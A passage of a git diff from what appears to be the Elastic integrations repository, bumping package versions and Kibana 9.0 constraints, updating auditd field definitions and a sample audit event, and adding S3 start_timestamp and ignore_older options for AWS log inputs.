"^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/confluence-logo.svg title: Confluence Logo diff --git a/packages/atlassian_jira/changelog.yml b/packages/atlassian_jira/changelog.yml index 3a233a1f26d..e99a7cbe3b4 100644 --- a/packages/atlassian_jira/changelog.yml +++ b/packages/atlassian_jira/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.29.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.28.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/atlassian_jira/manifest.yml b/packages/atlassian_jira/manifest.yml index 468f77e2e48..58d858f423b 100644 --- a/packages/atlassian_jira/manifest.yml +++ b/packages/atlassian_jira/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: atlassian_jira title: Atlassian Jira -version: "1.28.1" +version: "1.29.0" description: Collect logs from Atlassian Jira with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/jira-software-logo.svg title: Jira Software Logo diff --git a/packages/auditd_manager/changelog.yml b/packages/auditd_manager/changelog.yml index 32d7c1072e8..8f98853992c 100644 --- a/packages/auditd_manager/changelog.yml +++ b/packages/auditd_manager/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.18.3" + changes: + - description: "Updated field definitions for `auditd.data.*` fields" + type: bugfix + link: https://github.com/elastic/integrations/pull/12541 - version: "1.18.2" changes: - description: "Added Session data option" diff --git a/packages/auditd_manager/data_stream/auditd/fields/fields.yml b/packages/auditd_manager/data_stream/auditd/fields/fields.yml index ecfd2d66fbf..128a60aaf6c 100644 --- a/packages/auditd_manager/data_stream/auditd/fields/fields.yml +++ b/packages/auditd_manager/data_stream/auditd/fields/fields.yml @@ -623,9 +623,6 @@ - name: auditd.data.perm_mask description: file permission mask that triggered a watch event type: keyword -- name: auditd.data.a0-N - description: the arguments to a syscall - type: keyword - name: auditd.data.ses description: login session ID type: keyword @@ -737,6 +734,40 @@ type: keyword - name: auditd.data.result type: keyword -- name: auditd.data - description: Auditd related data - type: flattened +- name: auditd.data.subj_user + type: keyword + description: > + The SELinux user identity. This represents the SELinux user role that is + assigned to the subject (user or process) performing an action. It's part + of the SELinux security context and is used to enforce policies that + restrict what actions a subject can perform. +- name: auditd.data.subj_role + type: keyword + description: > + The SELinux role associated with the subject. The role determines the + capabilities a subject has within a given SELinux policy. Roles are used + to define higher-level security attributes in the context of the system's + security policies. +- name: auditd.data.subj_domain + type: keyword + description: > + The SELinux domain or type assigned to the subject. The domain specifies + the type of resource or process the subject is interacting with, helping + enforce domain-based access controls, which are crucial in limiting resource + access. +- name: auditd.data.subj_level + type: keyword + description: > + The SELinux sensitivity level for the subject. It indicates the security + classification level, like `s0` or `s2`, that defines how data or processes + are handled based on confidentiality and integrity levels within the system. +- name: auditd.data.subj_category + type: keyword + description: > + The SELinux category associated with the subject. It helps further refine + the level of access by classifying subjects into categories for + multi-level security (MLS). Categories are often used to label data + with additional attributes, like "high" or "low," enhancing granularity. +- name: auditd.data.a* + description: the arguments to a syscall + type: keyword diff --git a/packages/auditd_manager/data_stream/auditd/sample_event.json b/packages/auditd_manager/data_stream/auditd/sample_event.json index e0d9f9ecd4e..bbff6f37e5b 100644 --- a/packages/auditd_manager/data_stream/auditd/sample_event.json +++ b/packages/auditd_manager/data_stream/auditd/sample_event.json @@ -1,22 +1,22 @@ { - "@timestamp": "2022-05-12T13:10:13.230Z", + "@timestamp": "2025-01-14T18:00:56.117Z", "agent": { - "ephemeral_id": "cfe4170e-f9b4-435f-b19c-a0e75b573b3a", - "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1", - "name": "custom-agent", + "ephemeral_id": "df24f825-df17-4f54-b3c4-3048edbdf123", + "id": "da084743-3b4d-43eb-a6c9-f26c44204375", + "name": "elastic-agent-90019", "type": "auditbeat", - "version": "8.2.0" + "version": "8.16.0" }, "auditd": { "data": { - "a0": "a", - "a1": "c00024e8c0", - "a2": "38", + "a0": "10", + "a1": "c001144140", + "a2": "3c", "a3": "0", "arch": "x86_64", - "audit_pid": "22501", + "audit_pid": 2532842, "auid": "unset", - "exit": "56", + "exit": "60", "old": "0", "op": "set", "result": "success", @@ -25,15 +25,16 @@ "family": "netlink", "saddr": "100000000000000000000000" }, + "subj_user": "docker-default", "syscall": "sendto", "tty": "(none)" }, "message_type": "config_change", "messages": [ - "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1", - "type=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)", - "type=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000", - "type=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C" + "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1", + "type=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)", + "type=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000", + "type=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65" ], "result": "success", "summary": { @@ -41,7 +42,7 @@ "primary": "unset", "secondary": "root" }, - "how": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat", + "how": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat", "object": { "primary": "set", "type": "audit-config" @@ -63,21 +64,24 @@ }, "id": "0", "name": "root" + }, + "selinux": { + "user": "docker-default" } } }, "data_stream": { "dataset": "auditd_manager.auditd", - "namespace": "ep", + "namespace": "73800", "type": "logs" }, "ecs": { "version": "8.11.0" }, "elastic_agent": { - "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1", + "id": "da084743-3b4d-43eb-a6c9-f26c44204375", "snapshot": false, - "version": "8.2.0" + "version": "8.16.0" }, "event": { "action": "changed-audit-configuration", @@ -88,12 +92,12 @@ "network" ], "dataset": "auditd_manager.auditd", - "ingested": "2022-05-12T13:10:16Z", + "ingested": "2025-01-14T18:00:59Z", "kind": "event", "module": "auditd", - "original": "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1\ntype=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)\ntype=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C", + "original": "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1\ntype=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)\ntype=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65", "outcome": "success", - "sequence": 94471, + "sequence": 1197107, "type": [ "change", "connection", @@ -101,19 +105,37 @@ ] }, "host": { - "name": "custom-agent" + "architecture": "x86_64", + "containerized": false, + "hostname": "elastic-agent-90019", + "ip": [ + "192.168.176.2", + "192.168.144.5" + ], + "mac": [ + "02-42-C0-A8-90-05", + "02-42-C0-A8-B0-02" + ], + "name": "elastic-agent-90019", + "os": { + "kernel": "6.8.0-51-generic", + "name": "Wolfi", + "platform": "wolfi", + "type": "linux", + "version": "20230201" + } }, "network": { "direction": "egress" }, "process": { - "executable": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat", - "name": "auditbeat", + "executable": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat", + "name": "agentbeat", "parent": { - "pid": 9509 + "pid": 2531521 }, - "pid": 22501, - "title": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat -c auditbeat.elastic-agent.yml" + "pid": 2532842, + "title": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat auditbeat -E setup.ilm.enabled=false -E setup.template.e" }, "service": { "type": "auditd" @@ -130,4 +152,4 @@ "id": "0", "name": "root" } -} \ No newline at end of file +} diff --git a/packages/auditd_manager/docs/README.md b/packages/auditd_manager/docs/README.md index 6c70a8ca387..098a9ab8a49 100644 --- a/packages/auditd_manager/docs/README.md +++ b/packages/auditd_manager/docs/README.md @@ -151,24 +151,24 @@ An example event for `auditd` looks as following: ```json { - "@timestamp": "2022-05-12T13:10:13.230Z", + "@timestamp": "2025-01-14T18:00:56.117Z", "agent": { - "ephemeral_id": "cfe4170e-f9b4-435f-b19c-a0e75b573b3a", - "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1", - "name": "custom-agent", + "ephemeral_id": "df24f825-df17-4f54-b3c4-3048edbdf123", + "id": "da084743-3b4d-43eb-a6c9-f26c44204375", + "name": "elastic-agent-90019", "type": "auditbeat", - "version": "8.2.0" + "version": "8.16.0" }, "auditd": { "data": { - "a0": "a", - "a1": "c00024e8c0", - "a2": "38", + "a0": "10", + "a1": "c001144140", + "a2": "3c", "a3": "0", "arch": "x86_64", - "audit_pid": "22501", + "audit_pid": 2532842, "auid": "unset", - "exit": "56", + "exit": "60", "old": "0", "op": "set", "result": "success", @@ -177,15 +177,16 @@ An example event for `auditd` looks as following: "family": "netlink", "saddr": "100000000000000000000000" }, + "subj_user": "docker-default", "syscall": "sendto", "tty": "(none)" }, "message_type": "config_change", "messages": [ - "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1", - "type=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)", - "type=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000", - "type=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C" + "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1", + "type=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)", + "type=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000", + "type=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65" ], "result": "success", "summary": { @@ -193,7 +194,7 @@ An example event for `auditd` looks as following: "primary": "unset", "secondary": "root" }, - "how": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat", + "how": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat", "object": { "primary": "set", "type": "audit-config" @@ -215,21 +216,24 @@ An example event for `auditd` looks as following: }, "id": "0", "name": "root" + }, + "selinux": { + "user": "docker-default" } } }, "data_stream": { "dataset": "auditd_manager.auditd", - "namespace": "ep", + "namespace": "73800", "type": "logs" }, "ecs": { "version": "8.11.0" }, "elastic_agent": { - "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1", + "id": "da084743-3b4d-43eb-a6c9-f26c44204375", "snapshot": false, - "version": "8.2.0" + "version": "8.16.0" }, "event": { "action": "changed-audit-configuration", @@ -240,12 +244,12 @@ An example event for `auditd` looks as following: "network" ], "dataset": "auditd_manager.auditd", - "ingested": "2022-05-12T13:10:16Z", + "ingested": "2025-01-14T18:00:59Z", "kind": "event", "module": "auditd", - "original": "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1\ntype=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)\ntype=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C", + "original": "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1\ntype=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)\ntype=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65", "outcome": "success", - "sequence": 94471, + "sequence": 1197107, "type": [ "change", "connection", @@ -253,19 +257,37 @@ An example event for `auditd` looks as following: ] }, "host": { - "name": "custom-agent" + "architecture": "x86_64", + "containerized": false, + "hostname": "elastic-agent-90019", + "ip": [ + "192.168.176.2", + "192.168.144.5" + ], + "mac": [ + "02-42-C0-A8-90-05", + "02-42-C0-A8-B0-02" + ], + "name": "elastic-agent-90019", + "os": { + "kernel": "6.8.0-51-generic", + "name": "Wolfi", + "platform": "wolfi", + "type": "linux", + "version": "20230201" + } }, "network": { "direction": "egress" }, "process": { - "executable": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat", - "name": "auditbeat", + "executable": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat", + "name": "agentbeat", "parent": { - "pid": 9509 + "pid": 2531521 }, - "pid": 22501, - "title": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat -c auditbeat.elastic-agent.yml" + "pid": 2532842, + "title": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat auditbeat -E setup.ilm.enabled=false -E setup.template.e" }, "service": { "type": "auditd" @@ -290,8 +312,7 @@ An example event for `auditd` looks as following: | Field | Description | Type | |---|---|---| | @timestamp | Date/time when the event originated. This is the date/time extracted from the event, typically representing when the event was generated by the source. If the event source has no original timestamp, this value is typically populated by the first time the event was received by the pipeline. Required field for all events. | date | -| auditd.data | Auditd related data | flattened | -| auditd.data.a0-N | the arguments to a syscall | keyword | +| auditd.data.a\* | the arguments to a syscall | keyword | | auditd.data.acct | a user's account name | keyword | | auditd.data.acl | access mode of resource assigned to vm | keyword | | auditd.data.action | netfilter packet disposition | keyword | @@ -482,6 +503,11 @@ An example event for `auditd` looks as following: | auditd.data.sport | local port number | long | | auditd.data.state | audit daemon configuration resulting state | keyword | | auditd.data.subj | lspp subject's context string | keyword | +| auditd.data.subj_category | The SELinux category associated with the subject. It helps further refine the level of access by classifying subjects into categories for multi-level security (MLS). Categories are often used to label data with additional attributes, like "high" or "low," enhancing granularity. | keyword | +| auditd.data.subj_domain | The SELinux domain or type assigned to the subject. The domain specifies the type of resource or process the subject is interacting with, helping enforce domain-based access controls, which are crucial in limiting resource access. | keyword | +| auditd.data.subj_level | The SELinux sensitivity level for the subject. It indicates the security classification level, like `s0` or `s2`, that defines how data or processes are handled based on confidentiality and integrity levels within the system. | keyword | +| auditd.data.subj_role | The SELinux role associated with the subject. The role determines the capabilities a subject has within a given SELinux policy. Roles are used to define higher-level security attributes in the context of the system's security policies. | keyword | +| auditd.data.subj_user | The SELinux user identity. This represents the SELinux user role that is assigned to the subject (user or process) performing an action. It's part of the SELinux security context and is used to enforce policies that restrict what actions a subject can perform. | keyword | | auditd.data.success | whether the syscall was successful or not | keyword | | auditd.data.syscall | syscall number in effect when the event occurred | keyword | | auditd.data.table | netfilter table name | keyword | diff --git a/packages/auditd_manager/manifest.yml b/packages/auditd_manager/manifest.yml index 6556c70c140..d219ac93b05 100644 --- a/packages/auditd_manager/manifest.yml +++ b/packages/auditd_manager/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.0" name: auditd_manager title: "Auditd Manager" -version: "1.18.2" +version: "1.18.3" description: "The Auditd Manager Integration receives audit events from the Linux Audit Framework that is a part of the Linux kernel." type: integration categories: diff --git a/packages/auth0/changelog.yml b/packages/auth0/changelog.yml index ac7867bdf0f..2c9ace4abad 100644 --- a/packages/auth0/changelog.yml +++ b/packages/auth0/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.21.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.20.1" changes: - description: Fix `event.type` and `event.category` classification of failed authentication events. diff --git a/packages/auth0/manifest.yml b/packages/auth0/manifest.yml index 3eb3c1dea1c..1028b37cbd9 100644 --- a/packages/auth0/manifest.yml +++ b/packages/auth0/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: auth0 title: "Auth0" -version: "1.20.1" +version: "1.21.0" description: Collect logs from Auth0 with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - iam conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/auth0-screenshot.png title: Auth0 Dashboard diff --git a/packages/authentik/changelog.yml b/packages/authentik/changelog.yml index 412c11c7444..9b9189cbe5e 100644 --- a/packages/authentik/changelog.yml +++ b/packages/authentik/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/authentik/manifest.yml b/packages/authentik/manifest.yml index 5263e2ebb76..d9683bc870c 100644 --- a/packages/authentik/manifest.yml +++ b/packages/authentik/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.2.1 name: authentik title: authentik -version: 1.2.2 +version: "1.3.0" description: Collect logs from authentik with Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/aws/changelog.yml b/packages/aws/changelog.yml index 1a76e9999f3..abbc033f8e1 100644 --- a/packages/aws/changelog.yml +++ b/packages/aws/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.42.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 - version: "2.41.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs index 66e3c2e291b..674ac2280ee 100644 --- a/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/apigateway_logs/manifest.yml b/packages/aws/data_stream/apigateway_logs/manifest.yml index ef48082b230..bf3019e7180 100644 --- a/packages/aws/data_stream/apigateway_logs/manifest.yml +++ b/packages/aws/data_stream/apigateway_logs/manifest.yml @@ -75,6 +75,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs index 287a5b524ef..b3697a136ec 100644 --- a/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/cloudfront_logs/manifest.yml b/packages/aws/data_stream/cloudfront_logs/manifest.yml index ded5fde9e14..56f385747c4 100644 --- a/packages/aws/data_stream/cloudfront_logs/manifest.yml +++ b/packages/aws/data_stream/cloudfront_logs/manifest.yml @@ -51,6 +51,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs index f7108fc5f77..3bb8ec738d8 100644 --- a/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/cloudtrail/manifest.yml b/packages/aws/data_stream/cloudtrail/manifest.yml index c826d77e569..222e3481888 100644 --- a/packages/aws/data_stream/cloudtrail/manifest.yml +++ b/packages/aws/data_stream/cloudtrail/manifest.yml @@ -28,6 +28,20 @@ streams: required: false show_user: true description: Mandatory if the "Collect logs via S3 Bucket" switch is on. It is a required parameter for collecting logs via the AWS S3 Bucket unless you set a Bucket ARN. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: "[SQS] Queue URL" diff --git a/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs index 34bfdcd9984..08a891bd02c 100644 --- a/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/ec2_logs/manifest.yml b/packages/aws/data_stream/ec2_logs/manifest.yml index c42606cdd2e..1c5ed27d106 100644 --- a/packages/aws/data_stream/ec2_logs/manifest.yml +++ b/packages/aws/data_stream/ec2_logs/manifest.yml @@ -52,6 +52,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git 